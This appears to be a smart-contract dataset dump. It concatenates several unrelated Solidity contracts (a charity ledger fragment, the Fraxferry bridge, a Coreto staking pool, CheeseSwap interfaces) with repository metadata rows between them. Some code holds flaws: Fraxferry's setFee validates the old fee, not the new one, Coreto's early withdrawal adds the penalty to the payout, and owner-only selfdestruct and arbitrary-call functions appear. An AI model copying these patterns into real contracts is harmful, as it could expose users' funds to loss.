_charity.ethToFiatPriceAccEth); //eg 1.180 ETH = 118 * 10^16
// --------------------
// 30000 (30000 cents per ether)
uint _szaboPerEth = 1 ether / 1 szabo;
_ethToFiatCreditedFiat = divRound(_processedEthCreditedSzabo * _ethToFiatPricePerEth, //eg. 1,180,000 * 30000 / 1,000,000 = 35400
_szaboPerEth);
}
_ethToFiatNotProcessed = _charity.fiatBalanceOut;
_ethToFiatProcessed = _ethToFiatCreditedFiat - _ethToFiatNotProcessed;
_fiatDelivered = _charity.fiatDelivered;
_quickDiscrepancy = int256(_ethToFiatProcessed) - int256(_fiatDelivered);
}
//
// default payable function.
//
function () public payable {
revert();
}
//for debug
//only available before the contract is locked
function haraKiri() public ownerOnly unlockedOnly {
selfdestruct(owner);
}
}
| 202,740 | 11,337 |
ac51e373e88e1ee6fcd096aa0733afe52fc8cd1804e7e7984e3b16a7c25a593f
| 21,514 |
.sol
|
Solidity
| false |
468407125
|
tintinweb/smart-contract-sanctuary-optimism
|
5f86f1320e8b5cdf11039be240475eff1303ed67
|
contracts/mainnet/b7/b781fcac4b8ef06891f9bad7db9c178b1ce67967_Fraxferry.sol
| 4,097 | 15,515 |
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.8.0;
// Sources flattened with hardhat v2.12.0 https://hardhat.org
// File @openzeppelin/contracts/token/ERC20/[emailprotected]
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
}
// File @openzeppelin/contracts/token/ERC20/extensions/[emailprotected]
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)
interface IERC20Permit {
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
function nonces(address owner) external view returns (uint256);
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// File @uniswap/v3-periphery/contracts/libraries/[emailprotected]
library TransferHelper {
/// @notice Transfers tokens from the targeted address to the given destination
/// @notice Errors with 'STF' if transfer fails
/// @param token The contract address of the token to be transferred
/// @param from The originating address from which the tokens will be transferred
/// @param to The destination address of the transfer
/// @param value The amount to be transferred
function safeTransferFrom(address token,
address from,
address to,
uint256 value) internal {
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(IERC20.transferFrom.selector, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'STF');
}
/// @notice Transfers tokens from msg.sender to a recipient
/// @dev Errors with ST if transfer fails
/// @param token The contract address of the token which will be transferred
/// @param to The recipient of the transfer
/// @param value The value of the transfer
function safeTransfer(address token,
address to,
uint256 value) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transfer.selector, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'ST');
}
/// @notice Approves the stipulated contract to spend the given allowance in the given token
/// @dev Errors with 'SA' if transfer fails
/// @param token The contract address of the token to be approved
/// @param to The target of the approval
/// @param value The amount of the given token the target will be allowed to spend
function safeApprove(address token,
address to,
uint256 value) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.approve.selector, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'SA');
}
/// @notice Transfers ETH to the recipient address
/// @dev Fails with `STE`
/// @param to The destination of the transfer
/// @param value The value to be transferred
function safeTransferETH(address to, uint256 value) internal {
(bool success,) = to.call{value: value}(new bytes(0));
require(success, 'STE');
}
}
// File contracts/Fraxferry/Fraxferry.sol
// ====================================================================
// | ______ _______ |
// | / _____________ __ __ / ____(_____ ____ _____ ________ |
// | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ |
// | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ |
// | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ |
// | |
// ====================================================================
// ============================ Fraxferry =============================
// ====================================================================
// Ferry that can be used to ship tokens between chains
// Frax Finance: https://github.com/FraxFinance
// Primary Author(s)
// Dennis: https://github.com/denett
contract Fraxferry {
IERC20 immutable public token;
IERC20 immutable public targetToken;
uint immutable public chainid;
uint immutable public targetChain;
address public owner;
address public nominatedOwner;
address public captain;
address public firstOfficer;
mapping(address => bool) public crewmembers;
bool public paused;
uint public MIN_WAIT_PERIOD_ADD=3600; // Minimal 1 hour waiting
uint public MIN_WAIT_PERIOD_EXECUTE=82800; // Minimal 23 hour waiting
uint public FEE=1*1e18; // 1 token
uint immutable MAX_FEE=100e18; // Max fee is 100 tokens
uint immutable public REDUCED_DECIMALS=1e10;
Transaction[] public transactions;
mapping(uint => bool) public cancelled;
uint public executeIndex;
Batch[] public batches;
struct Transaction {
address user;
uint64 amount;
uint32 timestamp;
}
struct Batch {
uint64 start;
uint64 end;
uint64 departureTime;
uint64 status;
bytes32 hash;
}
struct BatchData {
uint startTransactionNo;
Transaction[] transactions;
}
constructor(IERC20 _token, uint _chainid, IERC20 _targetToken, uint _targetChain) {
//require (block.chainid==_chainid,"Wrong chain");
chainid=_chainid;
token = _token;
targetToken = _targetToken;
owner = msg.sender;
targetChain = _targetChain;
}
// ############## Events ##############
event Embark(address indexed sender, uint index, uint amount, uint amountAfterFee, uint timestamp);
event Disembark(uint start, uint end, bytes32 hash);
event Depart(uint batchNo,uint start,uint end,bytes32 hash);
event RemoveBatch(uint batchNo);
event DisputeBatch(uint batchNo, bytes32 hash);
event Cancelled(uint index, bool cancel);
event Pause(bool paused);
event OwnerNominated(address indexed newOwner);
event OwnerChanged(address indexed previousOwner,address indexed newOwner);
event SetCaptain(address indexed previousCaptain, address indexed newCaptain);
event SetFirstOfficer(address indexed previousFirstOfficer, address indexed newFirstOfficer);
event SetCrewmember(address indexed crewmember,bool set);
event SetFee(uint previousFee, uint fee);
event SetMinWaitPeriods(uint previousMinWaitAdd,uint previousMinWaitExecute,uint minWaitAdd,uint minWaitExecute);
// ############## Modifiers ##############
modifier isOwner() {
require (msg.sender==owner,"Not owner");
_;
}
modifier isCaptain() {
require (msg.sender==captain,"Not captain");
_;
}
modifier isFirstOfficer() {
require (msg.sender==firstOfficer,"Not first officer");
_;
}
modifier isCrewmember() {
require (crewmembers[msg.sender] || msg.sender==owner || msg.sender==captain || msg.sender==firstOfficer,"Not crewmember");
_;
}
modifier notPaused() {
require (!paused,"Paused");
_;
}
// ############## Ferry actions ##############
function embarkWithRecipient(uint amount, address recipient) public notPaused {
amount = (amount/REDUCED_DECIMALS)*REDUCED_DECIMALS; // Round amount to fit in data structure
require (amount>FEE,"Amount too low");
require (amount/REDUCED_DECIMALS<=type(uint64).max,"Amount too high");
TransferHelper.safeTransferFrom(address(token),msg.sender,address(this),amount);
uint64 amountAfterFee = uint64((amount-FEE)/REDUCED_DECIMALS);
emit Embark(recipient,transactions.length,amount,amountAfterFee*REDUCED_DECIMALS,block.timestamp);
transactions.push(Transaction(recipient,amountAfterFee,uint32(block.timestamp)));
}
function embark(uint amount) public {
embarkWithRecipient(amount, msg.sender) ;
}
function embarkWithSignature(uint256 _amount,
address recipient,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s) public {
uint amount = approveMax ? type(uint256).max : _amount;
IERC20Permit(address(token)).permit(msg.sender, address(this), amount, deadline, v, r, s);
embarkWithRecipient(amount,recipient);
}
function depart(uint start, uint end, bytes32 hash) external notPaused isCaptain {
require ((batches.length==0 && start==0) || (batches.length>0 && start==batches[batches.length-1].end+1),"Wrong start");
require (end>=start && end<type(uint64).max,"Wrong end");
batches.push(Batch(uint64(start),uint64(end),uint64(block.timestamp),0,hash));
emit Depart(batches.length-1,start,end,hash);
}
function disembark(BatchData calldata batchData) external notPaused isFirstOfficer {
Batch memory batch = batches[executeIndex++];
require (batch.status==0,"Batch disputed");
require (batch.start==batchData.startTransactionNo,"Wrong start");
require (batch.start+batchData.transactions.length-1==batch.end,"Wrong size");
require (block.timestamp-batch.departureTime>=MIN_WAIT_PERIOD_EXECUTE,"Too soon");
bytes32 hash = keccak256(abi.encodePacked(targetChain, targetToken, chainid, token, batch.start));
for (uint i=0;i<batchData.transactions.length;++i) {
if (!cancelled[batch.start+i]) {
TransferHelper.safeTransfer(address(token),batchData.transactions[i].user,batchData.transactions[i].amount*REDUCED_DECIMALS);
}
hash = keccak256(abi.encodePacked(hash, batchData.transactions[i].user,batchData.transactions[i].amount));
}
require (batch.hash==hash,"Wrong hash");
emit Disembark(batch.start,batch.end,hash);
}
function removeBatches(uint batchNo) external isOwner {
require (executeIndex<=batchNo,"Batch already executed");
while (batches.length>batchNo) batches.pop();
emit RemoveBatch(batchNo);
}
function disputeBatch(uint batchNo, bytes32 hash) external isCrewmember {
require (batches[batchNo].hash==hash,"Wrong hash");
require (executeIndex<=batchNo,"Batch already executed");
require (batches[batchNo].status==0,"Batch already disputed");
batches[batchNo].status=1; // Set status on disputed
_pause(true);
emit DisputeBatch(batchNo,hash);
}
function pause() external isCrewmember {
_pause(true);
}
function unPause() external isOwner {
_pause(false);
}
function _pause(bool _paused) internal {
paused=_paused;
emit Pause(_paused);
}
function _jettison(uint index, bool cancel) internal {
require (executeIndex==0 || index>batches[executeIndex-1].end,"Transaction already executed");
cancelled[index]=cancel;
emit Cancelled(index,cancel);
}
function jettison(uint index, bool cancel) external isOwner {
_jettison(index,cancel);
}
function jettisonGroup(uint[] calldata indexes, bool cancel) external isOwner {
for (uint i=0;i<indexes.length;++i) {
_jettison(indexes[i],cancel);
}
}
// ############## Parameters management ##############
function setFee(uint _FEE) external isOwner {
require(FEE<MAX_FEE);
emit SetFee(FEE,_FEE);
FEE=_FEE;
}
function setMinWaitPeriods(uint _MIN_WAIT_PERIOD_ADD, uint _MIN_WAIT_PERIOD_EXECUTE) external isOwner {
require(_MIN_WAIT_PERIOD_ADD>=3600 && _MIN_WAIT_PERIOD_EXECUTE>=3600,"Period too short");
emit SetMinWaitPeriods(MIN_WAIT_PERIOD_ADD, MIN_WAIT_PERIOD_EXECUTE,_MIN_WAIT_PERIOD_ADD, _MIN_WAIT_PERIOD_EXECUTE);
MIN_WAIT_PERIOD_ADD=_MIN_WAIT_PERIOD_ADD;
MIN_WAIT_PERIOD_EXECUTE=_MIN_WAIT_PERIOD_EXECUTE;
}
// ############## Roles management ##############
function nominateNewOwner(address newOwner) external isOwner {
nominatedOwner = newOwner;
emit OwnerNominated(newOwner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
function setCaptain(address newCaptain) external isOwner {
emit SetCaptain(captain,newCaptain);
captain=newCaptain;
}
function setFirstOfficer(address newFirstOfficer) external isOwner {
emit SetFirstOfficer(firstOfficer,newFirstOfficer);
firstOfficer=newFirstOfficer;
}
function setCrewmember(address crewmember, bool set) external isOwner {
crewmembers[crewmember]=set;
emit SetCrewmember(crewmember,set);
}
// ############## Token management ##############
function sendTokens(address receiver, uint amount) external isOwner {
require (receiver!=address(0),"Zero address not allowed");
TransferHelper.safeTransfer(address(token),receiver,amount);
}
// Generic proxy
function execute(address _to, uint256 _value, bytes calldata _data) external isOwner returns (bool, bytes memory) {
require(_data.length==0 || _to.code.length>0,"Can not call a function on a EOA");
(bool success, bytes memory result) = _to.call{value:_value}(_data);
return (success, result);
}
// ############## Views ##############
function getNextBatch(uint _start, uint max) public view returns (uint start, uint end, bytes32 hash) {
uint cutoffTime = block.timestamp-MIN_WAIT_PERIOD_ADD;
if (_start<transactions.length && transactions[_start].timestamp<cutoffTime) {
start=_start;
end=start+max-1;
if (end>=transactions.length) end=transactions.length-1;
while(transactions[end].timestamp>=cutoffTime) end--;
hash = getTransactionsHash(start,end);
}
}
function getBatchData(uint start, uint end) public view returns (BatchData memory data) {
data.startTransactionNo = start;
data.transactions = new Transaction[](end-start+1);
for (uint i=start;i<=end;++i) {
data.transactions[i-start]=transactions[i];
}
}
function getBatchAmount(uint start, uint end) public view returns (uint totalAmount) {
for (uint i=start;i<=end;++i) {
totalAmount+=transactions[i].amount;
}
totalAmount*=REDUCED_DECIMALS;
}
function getTransactionsHash(uint start, uint end) public view returns (bytes32) {
bytes32 result = keccak256(abi.encodePacked(chainid, token, targetChain, targetToken, uint64(start)));
for (uint i=start;i<=end;++i) {
result = keccak256(abi.encodePacked(result, transactions[i].user,transactions[i].amount));
}
return result;
}
function noTransactions() public view returns (uint) {
return transactions.length;
}
function noBatches() public view returns (uint) {
return batches.length;
}
}
| 151,210 | 11,338 |
de5f80b612e3956e805e25df382f327328d53975bd4ffb14523c3b29e3ec2d46
| 17,462 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0x005685a5a1889fc7bfc3e9c11657703a67fb663b.sol
| 4,718 | 17,275 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256){
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b,"Calculation error in multiplication");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256){
require(b > 0,"Calculation error in division");
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256){
require(b <= a,"Calculation error in subtraction");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256){
uint256 c = a + b;
require(c >= a,"Calculation error in addition");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256){
require(b != 0,"Calculation error");
return a % b;
}
}
contract IToken {
function totalSupply() public pure returns (uint256);
function balanceOf(address) public pure returns (uint256);
function allowance(address, address) public pure returns (uint256);
function transfer(address, uint256) public pure returns (bool);
function transferFrom(address, address, uint256) public pure returns (bool);
function approve(address, uint256) public pure returns (bool);
}
contract CoretoStaking {
using SafeMath for uint256;
address private _owner; // variable for Owner of the Contract.
uint256 private _withdrawTime; // variable to manage withdraw time for token
uint256 constant public PERIOD_SERENITY = 90; // variable constant for time period management for serenity pool
uint256 constant public PERIOD_EQUILIBRIUM = 180; // variable constant for time period management for equilibrium pool
uint256 constant public PERIOD_TRANQUILLITY = 270; // variable constant for time period management for tranquillity pool
uint256 constant public WITHDRAW_TIME_SERENITY = 45 * 1 days; // variable constant to manage withdraw time lock up for serenity
uint256 constant public WITHDRAW_TIME_EQUILIBRIUM = 90 * 1 days; // variable constant to manage withdraw time lock up for equilibrium
uint256 constant public WITHDRAW_TIME_TRANQUILLITY = 135 * 1 days; // variable constant to manage withdraw time lock up for tranquillity
uint256 constant public TOKEN_REWARD_PERCENT_SERENITY = 3555807; // variable constant to manage token reward percentage for serenity
uint256 constant public TOKEN_REWARD_PERCENT_EQUILIBRIUM = 10905365; // variable constant to manage token reward percentage for equilibrium
uint256 constant public TOKEN_REWARD_PERCENT_TRANQUILLITY = 26010053; // variable constant to manage token reward percentage for tranquillity
uint256 constant public TOKEN_PENALTY_PERCENT_SERENITY = 2411368; // variable constant to manage token penalty percentage for serenity
uint256 constant public TOKEN_PENALTY_PERCENT_EQUILIBRIUM = 7238052; // variable constant to manage token penalty percentage for equilibrium
uint256 constant public TOKEN_PENALTY_PERCENT_TRANQUILLITY = 14692434; // variable constant to manage token penalty percentage for tranquillity
uint256 constant public TOKEN_POOL_CAP = 25000000*(10**18); // variable constant to store maximaum pool cap value
event Paused();
event Unpaused();
function getowner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(),"You are not authenticate to make this transfer");
_;
}
function isOwner() internal view returns (bool) {
return msg.sender == _owner;
}
function transferOwnership(address newOwner) public onlyOwner returns (bool){
_owner = newOwner;
return true;
}
constructor() public {
_owner = msg.sender;
}
IToken itoken;
function setContractAddress(address tokenContractAddress) external onlyOwner returns(bool){
itoken = IToken(tokenContractAddress);
return true;
}
function addTokenReward(uint256 token) external onlyOwner returns(bool){
_ownerTokenAllowance = _ownerTokenAllowance.add(token);
itoken.transferFrom(msg.sender, address(this), token);
return true;
}
function withdrawAddedTokenReward(uint256 token) external onlyOwner returns(bool){
require(token < _ownerTokenAllowance,"Value is not feasible, Please Try Again!!!");
_ownerTokenAllowance = _ownerTokenAllowance.sub(token);
itoken.transfer(msg.sender, token);
return true;
}
function getTokenReward() public view returns(uint256){
return _ownerTokenAllowance;
}
function pauseTokenStaking() public onlyOwner {
tokenPaused = true;
emit Paused();
}
function unpauseTokenStaking() public onlyOwner {
tokenPaused = false;
emit Unpaused();
}
mapping (uint256 => address) private _tokenStakingAddress;
mapping (address => uint256[]) private _tokenStakingId;
mapping (uint256 => uint256) private _tokenStakingStartTime;
mapping (uint256 => uint256) private _tokenStakingEndTime;
mapping (uint256 => uint256) private _usersTokens;
mapping (uint256 => bool) private _TokenTransactionstatus;
mapping(uint256=>uint256) private _finalTokenStakeWithdraw;
mapping(uint256=>uint256) private _tokenTotalDays;
uint256 private _tokenStakingCount = 0;
uint256 private _ownerTokenAllowance = 0;
uint256 private _tokentime;
bool public tokenPaused = false;
uint256 public totalStakedToken = 0;
uint256 public totalTokenStakesInContract = 0;
uint256 public totalStakedTokenInSerenityPool = 0;
uint256 public totalStakedTokenInEquilibriumPool = 0;
uint256 public totalStakedTokenInTranquillityPool = 0;
modifier tokenStakeCheck(uint256 tokens, uint256 timePeriod){
require(tokens > 0, "Invalid Token Amount, Please Try Again!!! ");
require(timePeriod == PERIOD_SERENITY || timePeriod == PERIOD_EQUILIBRIUM || timePeriod == PERIOD_TRANQUILLITY, "Enter the Valid Time Period and Try Again !!!");
_;
}
function stakeToken(uint256 tokens, uint256 time) public tokenStakeCheck(tokens, time) returns(bool){
require(tokenPaused == false, "Staking is Paused, Please try after staking get unpaused!!!");
if(time == PERIOD_SERENITY){
require(totalStakedTokenInSerenityPool.add(tokens) <= TOKEN_POOL_CAP, "Serenity Pool Limit Reached");
_tokentime = now + (time * 1 days);
_tokenStakingCount = _tokenStakingCount +1;
_tokenTotalDays[_tokenStakingCount] = time;
_tokenStakingAddress[_tokenStakingCount] = msg.sender;
_tokenStakingId[msg.sender].push(_tokenStakingCount);
_tokenStakingEndTime[_tokenStakingCount] = _tokentime;
_tokenStakingStartTime[_tokenStakingCount] = now;
_usersTokens[_tokenStakingCount] = tokens;
_TokenTransactionstatus[_tokenStakingCount] = false;
totalStakedToken = totalStakedToken.add(tokens);
totalTokenStakesInContract = totalTokenStakesInContract.add(tokens);
totalStakedTokenInSerenityPool = totalStakedTokenInSerenityPool.add(tokens);
itoken.transferFrom(msg.sender, address(this), tokens);
} else if (time == PERIOD_EQUILIBRIUM) {
require(totalStakedTokenInEquilibriumPool.add(tokens) <= TOKEN_POOL_CAP, "Equilibrium Pool Limit Reached");
_tokentime = now + (time * 1 days);
_tokenStakingCount = _tokenStakingCount +1;
_tokenTotalDays[_tokenStakingCount] = time;
_tokenStakingAddress[_tokenStakingCount] = msg.sender;
_tokenStakingId[msg.sender].push(_tokenStakingCount);
_tokenStakingEndTime[_tokenStakingCount] = _tokentime;
_tokenStakingStartTime[_tokenStakingCount] = now;
_usersTokens[_tokenStakingCount] = tokens;
_TokenTransactionstatus[_tokenStakingCount] = false;
totalStakedToken = totalStakedToken.add(tokens);
totalTokenStakesInContract = totalTokenStakesInContract.add(tokens);
totalStakedTokenInEquilibriumPool = totalStakedTokenInEquilibriumPool.add(tokens);
itoken.transferFrom(msg.sender, address(this), tokens);
} else if(time == PERIOD_TRANQUILLITY) {
require(totalStakedTokenInTranquillityPool.add(tokens) <= TOKEN_POOL_CAP, "Tranquillity Pool Limit Reached");
_tokentime = now + (time * 1 days);
_tokenStakingCount = _tokenStakingCount +1;
_tokenTotalDays[_tokenStakingCount] = time;
_tokenStakingAddress[_tokenStakingCount] = msg.sender;
_tokenStakingId[msg.sender].push(_tokenStakingCount);
_tokenStakingEndTime[_tokenStakingCount] = _tokentime;
_tokenStakingStartTime[_tokenStakingCount] = now;
_usersTokens[_tokenStakingCount] = tokens;
_TokenTransactionstatus[_tokenStakingCount] = false;
totalStakedToken = totalStakedToken.add(tokens);
totalTokenStakesInContract = totalTokenStakesInContract.add(tokens);
totalStakedTokenInTranquillityPool = totalStakedTokenInTranquillityPool.add(tokens);
itoken.transferFrom(msg.sender, address(this), tokens);
} else {
return false;
}
return true;
}
function getTokenStakingCount() public view returns(uint256){
return _tokenStakingCount;
}
function getTotalStakedToken() public view returns(uint256){
return totalStakedToken;
}
function getTokenRewardDetailsByStakingId(uint256 id) public view returns(uint256){
if(_tokenTotalDays[id] == PERIOD_SERENITY) {
return (_usersTokens[id]*TOKEN_REWARD_PERCENT_SERENITY/100000000);
} else if(_tokenTotalDays[id] == PERIOD_EQUILIBRIUM) {
return (_usersTokens[id]*TOKEN_REWARD_PERCENT_EQUILIBRIUM/100000000);
} else if(_tokenTotalDays[id] == PERIOD_TRANQUILLITY) {
return (_usersTokens[id]*TOKEN_REWARD_PERCENT_TRANQUILLITY/100000000);
} else{
return 0;
}
}
function getTokenPenaltyDetailByStakingId(uint256 id) public view returns(uint256){
if(_tokenStakingEndTime[id] > now){
if(_tokenTotalDays[id]==PERIOD_SERENITY){
return (_usersTokens[id]*TOKEN_PENALTY_PERCENT_SERENITY/100000000);
} else if(_tokenTotalDays[id] == PERIOD_EQUILIBRIUM) {
return (_usersTokens[id]*TOKEN_PENALTY_PERCENT_EQUILIBRIUM/100000000);
} else if(_tokenTotalDays[id] == PERIOD_TRANQUILLITY) {
return (_usersTokens[id]*TOKEN_PENALTY_PERCENT_TRANQUILLITY/100000000);
} else {
return 0;
}
} else{
return 0;
}
}
function withdrawStakedTokens(uint256 stakingId) public returns(bool) {
require(_tokenStakingAddress[stakingId] == msg.sender,"No staked token found on this address and ID");
require(_TokenTransactionstatus[stakingId] != true,"Either tokens are already withdrawn or blocked by admin");
if(_tokenTotalDays[stakingId] == PERIOD_SERENITY){
require(now >= _tokenStakingStartTime[stakingId] + WITHDRAW_TIME_SERENITY, "Unable to Withdraw Staked token before 45 days of staking start time, Please Try Again Later!!!");
_TokenTransactionstatus[stakingId] = true;
if(now >= _tokenStakingEndTime[stakingId]){
_finalTokenStakeWithdraw[stakingId] = _usersTokens[stakingId].add(getTokenRewardDetailsByStakingId(stakingId));
itoken.transfer(msg.sender,_finalTokenStakeWithdraw[stakingId]);
totalTokenStakesInContract = totalTokenStakesInContract.sub(_usersTokens[stakingId]);
totalStakedTokenInSerenityPool = totalStakedTokenInSerenityPool.sub(_usersTokens[stakingId]);
_ownerTokenAllowance = _ownerTokenAllowance.sub(getTokenRewardDetailsByStakingId(stakingId));
} else {
_finalTokenStakeWithdraw[stakingId] = _usersTokens[stakingId].add(getTokenPenaltyDetailByStakingId(stakingId));
itoken.transfer(msg.sender,_finalTokenStakeWithdraw[stakingId]);
totalTokenStakesInContract = totalTokenStakesInContract.sub(_usersTokens[stakingId]);
totalStakedTokenInSerenityPool = totalStakedTokenInSerenityPool.sub(_usersTokens[stakingId]);
_ownerTokenAllowance = _ownerTokenAllowance.sub(getTokenPenaltyDetailByStakingId(stakingId));
}
} else if(_tokenTotalDays[stakingId] == PERIOD_EQUILIBRIUM){
require(now >= _tokenStakingStartTime[stakingId] + WITHDRAW_TIME_EQUILIBRIUM, "Unable to Withdraw Staked token before 90 days of staking start time, Please Try Again Later!!!");
_TokenTransactionstatus[stakingId] = true;
if(now >= _tokenStakingEndTime[stakingId]){
_finalTokenStakeWithdraw[stakingId] = _usersTokens[stakingId].add(getTokenRewardDetailsByStakingId(stakingId));
itoken.transfer(msg.sender,_finalTokenStakeWithdraw[stakingId]);
totalTokenStakesInContract = totalTokenStakesInContract.sub(_usersTokens[stakingId]);
totalStakedTokenInEquilibriumPool = totalStakedTokenInEquilibriumPool.sub(_usersTokens[stakingId]);
_ownerTokenAllowance = _ownerTokenAllowance.sub(getTokenRewardDetailsByStakingId(stakingId));
} else {
_finalTokenStakeWithdraw[stakingId] = _usersTokens[stakingId].add(getTokenPenaltyDetailByStakingId(stakingId));
itoken.transfer(msg.sender,_finalTokenStakeWithdraw[stakingId]);
totalTokenStakesInContract = totalTokenStakesInContract.sub(_usersTokens[stakingId]);
totalStakedTokenInEquilibriumPool = totalStakedTokenInEquilibriumPool.sub(_usersTokens[stakingId]);
_ownerTokenAllowance = _ownerTokenAllowance.sub(getTokenPenaltyDetailByStakingId(stakingId));
}
} else if(_tokenTotalDays[stakingId] == PERIOD_TRANQUILLITY){
require(now >= _tokenStakingStartTime[stakingId] + WITHDRAW_TIME_TRANQUILLITY, "Unable to Withdraw Staked token before 135 days of staking start time, Please Try Again Later!!!");
_TokenTransactionstatus[stakingId] = true;
if(now >= _tokenStakingEndTime[stakingId]){
_finalTokenStakeWithdraw[stakingId] = _usersTokens[stakingId].add(getTokenRewardDetailsByStakingId(stakingId));
itoken.transfer(msg.sender,_finalTokenStakeWithdraw[stakingId]);
totalTokenStakesInContract = totalTokenStakesInContract.sub(_usersTokens[stakingId]);
totalStakedTokenInTranquillityPool = totalStakedTokenInTranquillityPool.sub(_usersTokens[stakingId]);
_ownerTokenAllowance = _ownerTokenAllowance.sub(getTokenRewardDetailsByStakingId(stakingId));
} else {
_finalTokenStakeWithdraw[stakingId] = _usersTokens[stakingId].add(getTokenPenaltyDetailByStakingId(stakingId));
itoken.transfer(msg.sender,_finalTokenStakeWithdraw[stakingId]);
totalTokenStakesInContract = totalTokenStakesInContract.sub(_usersTokens[stakingId]);
totalStakedTokenInTranquillityPool = totalStakedTokenInTranquillityPool.sub(_usersTokens[stakingId]);
_ownerTokenAllowance = _ownerTokenAllowance.sub(getTokenPenaltyDetailByStakingId(stakingId));
}
} else {
return false;
}
return true;
}
function getFinalTokenStakeWithdraw(uint256 id) public view returns(uint256){
return _finalTokenStakeWithdraw[id];
}
function getTotalTokenStakesInContract() public view returns(uint256){
return totalTokenStakesInContract;
}
function getTokenStakingAddressById(uint256 id) external view returns (address){
require(id <= _tokenStakingCount,"Unable to reterive data on specified id, Please try again!!");
return _tokenStakingAddress[id];
}
function getTokenStakingIdByAddress(address add) external view returns(uint256[]){
require(add != address(0),"Invalid Address, Pleae Try Again!!!");
return _tokenStakingId[add];
}
function getTokenStakingStartTimeById(uint256 id) external view returns(uint256){
require(id <= _tokenStakingCount,"Unable to reterive data on specified id, Please try again!!");
return _tokenStakingStartTime[id];
}
function getTokenStakingEndTimeById(uint256 id) external view returns(uint256){
require(id <= _tokenStakingCount,"Unable to reterive data on specified id, Please try again!!");
return _tokenStakingEndTime[id];
}
function getTokenStakingTotalDaysById(uint256 id) external view returns(uint256){
require(id <= _tokenStakingCount,"Unable to reterive data on specified id, Please try again!!");
return _tokenTotalDays[id];
}
function getStakingTokenById(uint256 id) external view returns(uint256){
require(id <= _tokenStakingCount,"Unable to reterive data on specified id, Please try again!!");
return _usersTokens[id];
}
function getTokenLockStatus(uint256 id) external view returns(bool){
require(id <= _tokenStakingCount,"Unable to reterive data on specified id, Please try again!!");
return _TokenTransactionstatus[id];
}
}
| 276,773 | 11,339 |
37d682904121917c5f7d7b11bdeae8ebe7ca40c83d6620ceb55601ca9bfeafda
| 18,977 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x6BBf7d831788d500745B9020233421412e0fB776/contract.sol
| 4,599 | 17,605 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface ICheeseSwapFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface ICheeseSwapPair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
library FixedPoint {
struct uq112x112 {
